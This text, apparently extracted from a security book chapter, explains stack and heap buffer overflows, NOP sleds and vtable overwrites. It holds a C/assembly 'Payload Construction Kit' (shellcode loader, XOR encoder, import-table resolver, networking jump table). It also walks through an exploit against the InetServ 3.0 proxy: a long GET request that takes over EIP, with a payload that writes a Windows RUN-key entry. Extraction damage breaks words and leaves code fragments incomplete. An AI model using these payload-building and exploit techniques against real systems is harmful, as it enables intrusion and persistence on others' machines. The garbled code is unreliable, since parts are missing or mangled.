When an attacker overflows a stack buffer, the overflow will often overwrite a value called the return address.. Usually theattacker is not concerned about the program, and simply wants
Trang 1Normally, the processor executes code from the code segment of a program.
As the program makes function calls, the processor pushes data onto the
thread stack This stack serves as a temporary storage place for function
vari-ables and function addresses When an attacker overflows a stack buffer, the
overflow will often overwrite a value called the return address The buffer
over-flow will not only overwrite the return address, but can also overwrite almostall of the stack itself This, of course, causes the program to crash Usually theattacker is not concerned about the program, and simply wants to execute his
or her own code (called a payload) The payload is usually injected as part of
the buffer overflow itself, meaning that the code the attacker wants to execute
is written to the stack along with everything else So, the trick is to get the
processor’s instruction pointer to point to the attacker’s buffer There are
sev-eral ways to do this
Methods to Execute Payload
The following sections explain the variety of techniques that can be used toexexute payload
Direct Jump (Guessing Offsets)
The direct jump means that you have told your overflow code to jump directly
to a location in memory It uses no tricks to determine the true location of thestack in memory The downfall of this approach is twofold First, the address
of the stack may contain a NULL character, so the entire payload will need to
be placed before the injector If this is the case, it will limit the available size
for your payload Second, the address of your payload is not always going to bethe same This leaves you guessing the address you wish to jump to Thistechnique, however, is simple to use On UNIX machines, the address of thestack often does not contain a NULL character, making this the method ofchoice for UNIX overflows Also, there are tricks that make guessing the
address much easier (See No Operation (NOP) Sled later in the chapter.) Lastly,
if you place your payload somewhere other than on the stack, the direct jumpbecomes the method of choice
Blind Return.
The ESP register points to the current stack location Any ret instruction will
cause the EIP register to be loaded with whatever is pointed to by ESP This is
called popping Essentially the ret instruction causes the topmost value on the stack to be popped into EIP, and EIP now points to a new code address If the attacker can inject an initial EIP value that points to a ret instruction, the
value stored at ESP will be loaded into ESI Refer to Table 8.2 for a refresher
on the description of each register
A whole series of techniques use the processor registers to get back to thestack There is nothing you can inject into the instruction pointer directly thatwill cause a register to be used for execution as shown in Figure 8.6
Trang 2Table 8.2 The Description for Each 32-Bit Register
80x86 32-Bit Register Name Description
Trang 3Obviously, you must make the instruction pointer point to a real instruction as
shown in Figure 8.7
Pop Return
If the value on the top of the stack does not point to within the
attacker’s buffer, the injected EIP can be set to point to a series of pop tions, followed by a ret as shown in Figure 8.8 This will cause the stack to be
instruc-popped a number of times before a value is used for the EIP register Thisworks if there is an address near the top of the stack that points to within theattacker’s buffer The attacker just pops down the stack until the useful
address is reached This method was used in at least one public exploit forInternet Information Server (IIS) (See the listing for the IIS overflow exampleearlier in the chapter.)
RET or CALL EAX
Figure 8.7 The instruction pointer must point to a real instruction
Trang 477F7CEA7 FF D1 call ecx 77F94510 FF D1 call ecx 77F1B424 FF D3 call ebx 77F1B443 FF D3 call ebx
STACK
Popped Stack (gone)
Figure 8.8 Using a series of pops and a ret to reach a useful address
Trang 5Offset is a term used primarily in local buffer overflows Since multiuser
machines are traditionally UNIX based, we have seen the word offset used a lot
in UNIX-based overflows On a UNIX machine, you typically have access to acompiler—and the attacker usually compiles his or her exploit directly on themachine he or she intends to attack In this scenario, the attacker has somesort of user account and usually wishes to obtain root The injector code for alocal exploit sometimes calculates the base of its own stack—and assumes thatthe program we are attacking has the same base For convenience, the
attacker can then specify the offset from this address to Direct Jump to If
Trang 6everything works properly, the base+offset value will match between theattacking code and the victim code.
No Operation (NOP) Sled
If you are using a direct address when injecting code, you will be left with the
burden of guessing exactly where your payload is located in memory This is
next to impossible The problem is that your payload will not always be in theexact same place Commonly under UNIX, the same software package may berecompiled on different systems What works on one copy of the software maynot work on another So, to minimize this effect and decrease the required pre-cision of a smash, we use the NOP Sled The idea is simple A NOP is an
instruction that does nothing; it only takes up space It was originally createdfor debugging Since the NOP is only a single byte long, it is immune to theproblems of byte ordering and alignment issues
The trick involves filling our buffer with NOPs before the actual payload If
we incorrectly guess the address of the payload, it will not matter, as long as
we guess an address that lands somewhere on a NOP Since the entire buffer
is full of NOPs, we can guess any address that lands in the buffer Once weland on a NOP, we will begin executing each NOP We slide forward over all theNOPs until we reach our actual payload The larger the buffer of NOPs, theless precise we need to be when guessing the address of our payload
Off-by-One Struct Pointer
One technique for exploiting an off-by-one error occurs when an object pointer
is stored adjacent to your off-by-one buffer If the object pointer is storedBEFORE the stack buffer, you can overwrite the Least Significant Byte (LSB)(on Little Endian machines) of that pointer The best-case scenario is that theobject being pointed to has some sort of user-controlled buffer within it Youfirst dump your payload into that buffer, and then you alter the object pointer
so that your payload gets used for something it shouldn’t, such as a functionpointer The following code example demonstrates this method
// single_1.cpp : Defines the entry point for the console //application.
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
struct xxx {
Trang 7// since we can change the LSB of this ptr
// we can redirect to point to another HEAP
Dereferencing—Smashing the Heap
The following sections describe how to corrupt a pointer and trespass the heap
Corrupting a Function Pointer
The basic trick to heap overflows is to cause a function pointer to be rupted There are many ways to do this First, you can try to overwrite oneheap object from another neighboring heap Class objects and structs are oftenstored on the heap, so there can be many opportunities to do this The tech-
cor-nique is simple to understand and is called trespassing.
Trang 8Trespassing the Heap
In this example, two class objects are instantiated on the heap A staticbuffer in one class object is overflowed, trespassing into another neigh-boring class object This trespass overwrites the virtual-function tablepointer (vtable pointer) in the second object The address is overwritten sothat the vtable address points into our own buffer We then place valuesinto our own trojan table that indicate new addresses for the class func-tions One of these is the destructor, which we overwrite so that when theclass object is deleted, our new destructor is called In this way, we can runany code we want to—we simply make the destructor point to our payload.The downside to this is that heap object addresses may contain a NULLcharacter, limiting what we can do We either must put our payload some-where that doesn’t require a NULL address, or pull any of the old stack ref-erencing tricks to get the EIP to return to our address The following codeexample demonstrates this method
// class_tres1.cpp : Defines the entry point for the console //application.
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
class test1 {
class test1 *t1 = new class test1;
class test1 *t5 = new class test1;
class test2 *t2 = new class test2;
class test2 *t3 = new class test2;
Trang 9C++ Objectmember variablesgrow down
C++ ObjectVTABLE PTR
C++ Objectmember variables
C++ ObjectVTABLE_vfptr
_destructor_functionXXX_functionYYY, etc
Figure 8.9 Trespassing the heap
Trang 10Figure 8.9 illustrates the example The proximity between heap objectsallows you to overflow the virtual function pointer of a neighboring heap object.Once overwritten, the attacker can place a value that points back into the con-trolled buffer The attacker can build a new virtual function table in the con-trolled buffer The new table can then cause attacker-supplied code to executewhen one of the class functions is executed The destructor is a good function
to replace, since it is executed when the object is deleted from memory
Designing Payload
Payload is very important, and once the payload is being executed, there aremany tricks for adding functionality This can be one of the most rewardingand creative components of an exploit
Coding the Payload
I don’t believe in doing things the hard way Most of the exploits you see lished include wild blocks of unidentifiable machine code I don’t like this
pub-There is a far better way to encode payloads: simply write them in C, C++, orinline assembly, and then copy the compiled code directly into your payload.Integrating assembly and C is easy to do using most compilers—I call it the
Fusion Technique Let’s explore.
The Fusion Technique is just a simpler way to encode and compileassembly language and perform unconventional tricks One of these tricksinvolves injecting code into other process spaces Windows NT has establishedways to accomplish this if you’re an authenticated user on the system If youare not an authenticated user, you can accomplish this through a buffer over-flow Either way, you are injecting code into a remote process space
Injection Vector
The military has a concept of delivery and payload We can use the same
con-cept here When we talk about a buffer overflow, we talk about the injection vector and the payload The injection vector is the custom operational code
(opcode) you need to actually own the instruction pointer on the remotemachine This is machine dependent and target dependent The whole point ofthe injection vector is to get the payload to execute The payload, on the otherhand, is a lot like a virus The payload can work anywhere, anytime, regard-less of how it was injected into the remote machine If your payload does notoperate this way, it is not clean If you worked for the military writing bufferoverflows, they would want clean payloads Let’s explore what it takes to code
a clean payload
Trang 11Location of Payload
Your payload does not have to be located in the same place as your injectionvector; commonly, it is just easier to use the stack for both When you use thestack for both payload and injection vector, you have to worry about the size ofpayload and how the injection vector interacts with the payload For example,
if the payload starts before the injection vector, you need to make sure theydon’t collide If they do, you have to include a jump in the payload to jumpover the injection code—then the payload can continue on the other side of theinjection vector If these problems become too complex, then you need to putyour payload somewhere else
Any program will accept user input and store it somewhere Any location inthe program where you can store a buffer becomes a candidate for storing apayload The trick is to get the processor to start executing that buffer
Some common places to store payloads include:
■ Files on disk which are then loaded into memory
■ Environment variables controlled by a local user
■ Environment variables passed within a Web request (common)
■ User-controlled fields within a network protocolOnce you have injected the payload, the task is simply to get the instruc-tion pointer to load the address of the payload The beauty of storing the payload somewhere other than the stack is that amazingly tight and difficult-to-use buffer overflows suddenly become possible For example, you are freefrom constraints on the size of the payload A single off-by-one error can still
be used to take control of a computer
The Payload Construction Kit
The following section and source code describes a method for building overflow attack payloads from within the Microsoft Visual C++ developmentenvironment This will enable you to manage the source code for attack pay-loads, alter and maintain them easily, and even test them from within thedebugger!
buffer-// BUFFERZ.cpp : Defines the entry point for the console buffer-//application
Trang 12// These defines and strings are very important and control how the // payload will load functions dynamically.
//
// Define each function you will use as an offset from ebp
// After the payload runs, ebp will be pointing to the payload's // data segment
// so these offsets relate to how the jump table is being used.
//
////////////////////////////////////////////////////////////////////
// our jump table for preloaded functions // typically this is only LoadLibrary & GetProcAddress
// These are the first two addresses in our jump table.
#define GET_PROC_ADDRESS [ebp]
#define LOAD_LIBRARY [ebp + 4]
// our jump table for dynamically loaded functions // these can be anything we want
// just make sure we don't overlap
#define GLOBAL_ALLOC [ebp + 8]
#define WRITE_FILE [ebp + 12]
#define SLEEP [ebp + 16]
#define READ_FILE [ebp + 20]
#define PEEK_NAMED_PIPE [ebp + 24]
#define CREATE_PROC [ebp + 28]
#define GET_START_INFO [ebp + 32]
#define CREATE_PIPE [ebp + 36]
#define INTERNET_OPEN [ebp + 40]
#define INTERNET_CLOSE_H [ebp + 44]
#define INTERNET_OPEN_URL [ebp + 48]
#define INTERNET_READ_FILE [ebp + 52]
#define WSASTARTUP [ebp + 56]
#define _SOCKET [ebp + 60]
#define BIND [ebp + 64]
#define CONNECT [ebp + 70]
#define SEND [ebp + 74]
#define SELECT [ebp + 78]
#define RECV [ebp + 82]
#define URL_PTR [ebp + 86]
// (Continue in this pattern until done) // e \0 (Null DLL Name terminates loading cycle)
Trang 13// f any additional data \0 data \0 data \0\0 (dbl NULL // terminated)
"InternetOpenA\0InternetCloseHandle\0" \ // double null terminates function list
// make sure all functions are static
#pragma check_stack( off )
////////////////////////////////////////////////////////////////////static declspec(naked) void before_all(void)
{
// this function is called first when the payload strikes
// buzz forward and try to find canary value
asm
{
//////////////////////////////////////////////////////////////////// // the payload must be decoded at this point If we were using an // encoded payload, we would insert the decoder code here
// note: the EB 00 00 00 00 (short call +0) which you see below
// (getting bearings) is not possible if NULL characters are
// disallowed, so the decoding loop cannot use this trick (errg! - ) // there must be a better way! (still doing research)
////////////////////////////////////////////////////////////////////
call RELOC RELOC: pop edi // get our bearings (our current eip)
sub esp, 3000 // get the stack out of the way
GET_DATA_SECTION:
Trang 14// loop until we get to the data // section, as marked by the // canary value
//////////////////////////////////
inc edi // our bearing point cmp dword ptr [edi], -1
jne GET_DATA_SECTION add edi, 4 // we made it, get past canary itself mov esi, ebp // output ptr
GET_PRELOADED_FUNCTIONS:
//////////////////////////////////
// get pointers to preloaded // functions, based on checksum // of function name, uses // PE header's import table // -NULL DWORD terminates //////////////////////////////////
mov eax, dword ptr [edi]
// returns function addr in edi ////////////////////////////////////////
call build_rvas mov dword ptr [esi], edi // get the function address
pop edi
add esi, 4 add edi, 4
jmp GET_PRELOADED_FUNCTIONS
DONE_PRELOAD:
int 3 add edi, 4 // get past NULL
je LOAD_DATA // double NULL means done lea eax, [edi]// load DLL name
push eax call LOAD_LIBRARY cmp eax, 0
Trang 15je ALL_DONE // not found error mov edx, eax // DLL handle
// load functions mov ecx, 10000 // max string length - whatever
NEXT_FUNCTION:
repne scas
je FUNCTION_DONE //done loading functions
call GET_PROC_ADDRESS
pop edx //restore DLL handle
cmp eax, 0 //missing functions, barf
int 3 xor eax, eax repne scas
cmp byte ptr [edi], 0
je ALL_DONE //done loading data
mov dword ptr [esi], edi //save ptr to data item add esi, 4
// downloads a file from anywhere on internet
// and executes it locally (not implemented
// in this payload)
Trang 16static declspec(naked) void exec_remote_file() {
asm { ret } }
static declspec(naked) void _WSASTARTUP() {
asm { sub esp, 8
call WSASTARTUP add esp, 8
or eax, eax
ret } }
////////////////////////////////////////////////
// lookup function ptr based on checksum // - argument (checksum) passed in edi // - returns function ptr in edi ////////////////////////////////////////////////
static declspec(naked) void build_rvas() {
asm {
add ecx, 0x00400004 // beginning of COFF header, fill in data
lea eax, [ecx + 0x14] // optional header offset mov esi, [eax + 68h] // offset to idata data directory add esi, 0x00400000 // make a real address (offset + base)
NEXT_DLL:
// esi holds data directory offset - the 'DIRECTORY'
mov eax, [esi] // RVA of Import Lookup Table - the 'LOOKUP' cmp eax, 0 // zero means end of table
je DONE_LOADING add eax, 0x00400000 // make real address mov edx, [esi + 16] // RVA of 'THUNK' table add edx, 0x00400000 // make real address
Trang 17// we are here if this table has ascii names
add ebx, 0x00400000 // RVA of 'HINT' - make real address
// function lookup by checksum add ebx, 2 // skip first 2 bytes
xor ecx, ecx
add edx, 4 // next entry in 'THUNK' table
add eax, 4 // next entry in import table
cmp [eax], 0 // zero means end of table
jnz NEXT_FUNCTION // drop thru to next DLL if we have no
//more functions
SKIP_ORDINAL:
add esi, 20 // 20 bytes to next entry in table
mov edx, [eax] // pointing to 'LOOKUP'
cmp edx, 0 // zero means end of 'LOOKUP' table - //goto next DLL
jne NEXT_DLL
DONE_LOADING:
pop esi pop edx pop ecx pop ebx pop eax
ret }
}
// a housekeeping bookmark so we can calculate code size
declspec(naked) static void after_all()
{
asm
Trang 18ret }
}
// [ END PAYLOAD ] ////////////////////////////////////////////////////////////////////
#pragma check_stack
////////////////////////////////////////////////////
// the following functions are used by our local program to // set up the payload and such - they are not part of // our actual payload code.
xor eax, eax mov esi, p ALOOP:
xor al, byte ptr [esi]
rol eax, 8 inc esi cmp byte ptr [esi], 0 jne ALOOP
mov dword ptr [aChecksum], eax }
*(thePayload++) ^= theEncodeByte;
} }
#define number_of_import_functions 3 BOOL fDebug = FALSE;
int cdecl main(int argc, char* argv[]) {
printf("The Payload is Coming!\n");
Trang 19{ case 'd':
case 'D':
// debug mode fDebug = TRUE;
break;
} }
/////////////////////////////////////////////////////////// // calculate code segment length by subtracting the
// difference of two function addresses.
void *code_segment = (void *) before_all;
void *after_code_segment = (void *) after_all;
unsigned long code_len = (long)after_code_segment (long)code_segment;
-/////////////////////////////////////////////////////////// // add a data segment to the end of our buffer
//
/////////////////////////////////////////////////////////// char *data_segment;
unsigned long data_len = (sizeof(DWORD) * (number_of_import_functions + 1)) + 100;
/////////////////////////////////////////////////////////// // the actual code is copied from code segment and into
// our new buffer here
//
/////////////////////////////////////////////////////////// char *aPayload = new char[code_len + data_len];
char *aCursor = aPayload;
/////////////////////////////////////////////////////////// // header for getting bearings w/o using a NULL character
char bearing_code[] = "\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF";
memcpy(aCursor, bearing_code, strlen(bearing_code));
aCursor += strlen(bearing_code);
///////////////////////////////////////////////////////////////// // now the code to XOR decode everything
// translates to:
// mov eax, ebp
Trang 20// add eax, OFFSET (see offset below) /////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////
// xor ecx, ecx // mov cx, SIZE /////////////////////////////////////////////////////////////////
char xor_decode2[] = "\x33\xC9\x66\xB9";
unsigned short aSize = code_len + data_len;
memcpy(aCursor, xor_decode2, strlen(xor_decode2));
// this completes the decoding header - everything else is // fusion!
/////////////////////////////////////////////////////////////////
char xor_decode3[] = "\x80\x30\xAA\x40\xE2\xFA";
memcpy(aCursor, xor_decode3, strlen(xor_decode3));
Trang 21// GetChecksum calculates a checksum of a string This
// checksum is 4 bytes long It will be recognized by our
// payload when loading functions from the import table
// of the target process.
//
// NOTE: casting of DWORD type results in increments of 4
// bytes in ptr arithmetic.
///////////////////////////////////////////////////////////
*((DWORD *)curr+0) = 0xFFFFFFFF; //canary value
*((DWORD *)curr+1) = GetChecksum("GetProcAddress");
*((DWORD *)curr+2) = GetChecksum("LoadLibraryA");
*((DWORD *)curr+3) = NULL; //
memcpy(((DWORD *)curr+4), (char *)data, 100);
///////////////////////////////////////////////////////////////// // encode our payload for delivery (remove NULL characters)
// 'AA' is hardcoded in decoder above, so encode with it here // too.
///////////////////////////////////////////////////////////////// encode_payload( aCursor, code_len + data_len, '\xAA');
// overflow ourselves as a test
// functions are never instantiated in the code segment
// unless the compiler thinks they get called at least once
// for testing the payload on the stack (no injection vector)
void test_me(char *input_ptr, int call_offset)
asm mov eax, i
asm call eax
}
Trang 22The Payload Construction Kit is very useful for building Windows NT-basedexploits When in the Microsoft DevStudio environment, you can easily stepthrough your payload code The preceding code already has many of the fea-tures you would want in a payload, including XOR protection, a hashingloader, and a dynamic jump-table.
Getting Bearings
Once your code is executing, it may need to find out where it is located inmemory This can be accomplished with a few assembly instructions This isrequired to figure out how to load any data segments that you have passedalong with the payload Generally, this is the first thing your payload will do.When your overflow payload is delivered, you may not know exactly whereyour buffer is resting in memory since it can vary There is a very basic way tofind out where you are living in memory:
// YEP: pop ebp // jmp OVER // call YEP // OVER: ;decoder goes here
You cause your injector to start execution at the “call YEP” instruction(translates to a short jump) In this way, once the bearing code has executed,the EBP register has the current location in memory The other advantage tothis code is that it translates as a reverse short jump—the end result of this isthat there are no NULL bytes in the instruction code (which would clearly be aBad Thing)
Finding the DATA Section, Using a Canary
Next, the payload fast-forwards past all the instruction code in search of itsDATA payload It makes the most sense to place this at the end of the buffer.The canary value, in this case, is 0xFFFFFFFF This is chosen because it isunlikely to see this value in the code part
GET_DATA_SECTION:
//////////////////////////////////
// loop until we get to the data // section, as marked by the // canary value
//////////////////////////////////
inc edi // our bearing point cmp dword ptr [edi], -1
jne GET_DATA_SECTION add edi, 4 // we made it, get past canary itself mov esi, ebp // output ptr
GET_PRELOADED_FUNCTIONS:
Now the ESI register holds a reference to our DATA This enables us to go
on to the next step, which is XOR decoding our DATA buffer
Trang 23Encoding Data
Data and code that are passed along with the payload usually must not tain any NULL characters To this end, a payload often needs to be encoded sothat no NULL characters are present The payload can later be decoded intosomething useful
con-XOR Protection
Many of our opcodes will contain NULL bytes, so we cannot send the code in itsraw form—doing so would inject a deadly NULL character into our byte stream,thereby rendering our payload useless The solution is to encode the bytestream so that no NULL characters are present, and then write a small
decoding loop The decoding loop brings the exploit back to life once it has beeninjected into the server Note that the ECX register is first loaded with the size
of the array we are about to decode The loop instruction uses the value in ECX
to automagically loop that number of times Also of note: In the example code, Ihave chosen the byte 0xAA to XOR the data with It is important to choose anXOR byte that will not result in the production of NULL or filtered characters.xor ecx, ecx
mov cx, SIZE
LOOPA: xor [eax], 0xAA
inc eax
loop LOOPA
Using What You Have—Preloaded Functions
Processes under Windows NT are loaded into memory using a format calledPortable Executable (PE) The PE format includes a header portion The PEheader specifies data about the process such as resources used, importedfunctions, and exported functions (in the case of a Dynamic Link Library(DLL)) For payload purposes, we will be primarily interested in the importedfunctions Because our payload is executing within the process space, we haveaccess to all of the imported functions the process is currently using Withoutdoing anything special, we could simply call any of the preloaded functions.Many times, this can be a gold mine of functions The import table usuallyincludes functions that will modify the system Registry, create and alter files,and even use the Winsock TCP/IP library
There are two ways to use preloaded functions The easiest of all is to hardcode the address of the call This can be good for one reason: It’s simple and itdoesn’t take up much space All you need to do is call an address The fol-lowing example illustrates this technique of hard-coding the function
addresses In this case, the functions are Windows-NT Registry calls
Trang 24Hard-Coding Example
After downloading a copy of InetServ 3.0—a proxy server for Windows NT—Istarted testing a single remotely addressable function of the software: a Web ser-vice In less than one minute, my automated testing software had already
located a buffer overflow It appeared that an HTTP GET request with a 537-bytepath would own EIP (in other words, allow me to control the remote processor).The fact that the GET request causes an overflow is far from noteworthy
What is worth talking about is the payload I designed for this exploit One of themost common things a payload does is open a remote shell Some hosts haveintrusion detection system (IDS) software that prevents remote shells fromworking easily The payload in this example does not open a remote shell; rather,
it shares all of your hard drives without a password, and does this withoutlaunching a single subprocess or even loading any new functions We are going toattack the NT Registry through functions already loaded into the process space Most processes have useful functions already loaded into address space
Using Windows Disassembler (WDASM) and VC++, I was able to find thememory location of the following functions:
Name: Jump Table: Actual (NTServer 4.0 SP3) ADVAPI32.RegCloseKey [43D004] 77DB75A9
ADVAPI32.RegCreateKeyExA [43D008] 77DBA7F9 ADVAPI32.RegOpenKeyExA [43D00C] 77DB851A ADVAPI32.RegQueryValueExA [43D010] 77DB8E19 ADVAPI32.RegSetValueExA [43D000] 77DBA979
Since we cannot be assured where the location of ADVAPI32.DLL will bemapped, we simply use the jump table itself, which will be loaded in the samelocation regardless In order to prevent NULL characters, I XOR my data areawith 0x80 The payload first decodes the data area, and then calls the fol-lowing functions in order to add a value to the windows RUN key:
RegOpenKeyEx();
RegSetValueEx();
In order to avoid NULLs, I used an XOR between registers:
mov eax, 77787748 mov edx, 77777777 xor eax, edx push eax
followed later only by:
mov eax, 0x77659BAe xor eax, edx
push eax
These values translate to addresses in the local area that require a NULLcharacter; hence, the XOR The value in the example is merely “cmd.exe /c”
with no parameters You could easily alter this to add a user to the system, or
to share a drive For script kiddie purposes, you will get nothing here—you’ll
Trang 25need to alter the cmd.exe string and alter the size variable in the decode loop(shown here set to 0x46):
xor ecx, ecx
mov ecx, 0x46
LOOP_TOP:
dec eax
xor [eax], 0x80 dec ecx
jnz LOOP_TOP (75 F9)
Once this runs, check your Registry and you’ll find the value in question.The value will be executed upon the next reboot Incidentally, this is a verycommon way for network worms to operate The only snag when using anHTTP request is that there are some characters that are filtered or special—you must avoid these This limits which machine instructions you can
directly inject; however, there are always ways to get around such problems
In conclusion, I merely am trying to demonstrate that there are many things
a buffer overflow can do besides create a shell or download a file—and manyforms of host-based IDS will not notice this Now, clearly, the RUN key is acommon place for security-savvy people to look, but it could have easily beensomething else more esoteric The following code example demonstrates thismethod
//sub al, 0xFF //rol eax, 0x018 //mov ebx, eax
"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \ // xor ecx, ecx
// mov ecx, 0x46 //LOOP_TOP:
// dec eax // xor [eax], 0x80 // dec ecx
// jnz LOOP_TOP (75 F9)